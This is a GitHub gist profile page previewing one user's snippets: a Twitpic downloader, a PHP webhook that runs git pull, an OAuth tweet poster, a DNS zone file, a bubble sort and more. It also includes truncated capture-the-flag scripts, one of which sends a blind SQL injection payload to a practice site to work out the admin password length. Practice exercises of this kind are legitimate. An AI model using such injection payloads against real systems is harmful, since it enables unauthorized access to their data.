Skip to content

Instantly share code, notes, and snippets.

View gomasy's full-sized avatar

Gomasy gomasy

View GitHub Profile
OpenSSL> s_client -connect smtp.gmail.com:587 -starttls smtp
CONNECTED(00000003)
depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA
verify error:num=20:unable to get local issuer certificate
verify return:0
---
Certificate chain
0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com
i:/C=US/O=Google Inc/CN=Google Internet Authority G2
1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2
@gomasy
gomasy / twitpic.rb
Last active August 29, 2015 14:06
Twitpic から写真を巻き上げるやつ
#!/usr/bin/ruby
require "http"
require "json"
@url = "http://api.twitpic.com/2/users/show.json"
@page = 1
if ARGV[0] != nil
if ARGV[1] == nil
loop do
@gomasy
gomasy / hook.php
Last active August 26, 2016 16:06
github webhook を利用した、push すると自動で git pull する感じのアレ
<?php
header('Content-Type: application/json');
$secret = 'hogehoge';
$repo = 'hoge';
function generate_response($code) {
$response = array(
'200' => array(
'status' => 'success',
require "webrick"
server = WEBrick::HTTPServer.new({
:BindAddress => "localhost",
:Port => 8080
})
server.mount_proc("/") do |req, res|
puts req
end
server.start
@gomasy
gomasy / update.rb
Last active August 29, 2015 14:11
statuses/update.json
require "net/https"
require "securerandom"
require "openssl"
require "base64"
require "uri"
require "erb"
include ERB::Util
http_method = "POST"
@gomasy
gomasy / xvideo.com.zone
Created May 17, 2015 16:00
xvideos not dead
$TTL 120
@ SOA ns1.randomserver.com. webmaster.xvideos.com. (
2015032008
28800
3600
604800
1800 )
NS ns1.randomserver.com.
NS ns2.randomserver.com.
NS ns3.randomserver.com.
require "uri"
require "securerandom"
require "net/http"
require "digest/md5"
url = URI.parse("http://ctfq.sweetduet.info:10080/~q9/flag.html")
uname = "q9"
realm = "secret"
qop = "auth"
nc = "00000001"
require "uri"
require "net/http"
url = URI.parse("http://ctfq.sweetduet.info:10080/~q6/")
puts "Step1: Surveying password length..."
for i in 1..100 do
response = Net::HTTP.post_form(url, "id" => %(' or (SELECT length(pass) FROM user WHERE id='admin') <= #{i}--))
if response.body.include?(%(Congratulations!))
len = i
var notify = document.getElementsByClassName("js-column column column-type-interactions will-animate");
for (var i = 0; i < notify.length; i++) {
var t = notify[i].getElementsByClassName("stream-item js-stream-item is-actionable");
for (var j = 0; j < t.length; j++) {
setDisplay(t[j], new RegExp(/retweeted_retweet.+/));
setDisplay(t[j], new RegExp(/favorited_retweet.+/));
}
}
function setDisplay(elm, regexp) {
@gomasy
gomasy / bubble.c
Last active September 4, 2015 05:50
bubble sort
#include <stdio.h>
#include <stdlib.h>
void gen_ary(int ary[], int size);
void shuffle(int ary[], int size);
void sort(int ary[], int size);
int main() {
int i, size;
scanf("%d", &size);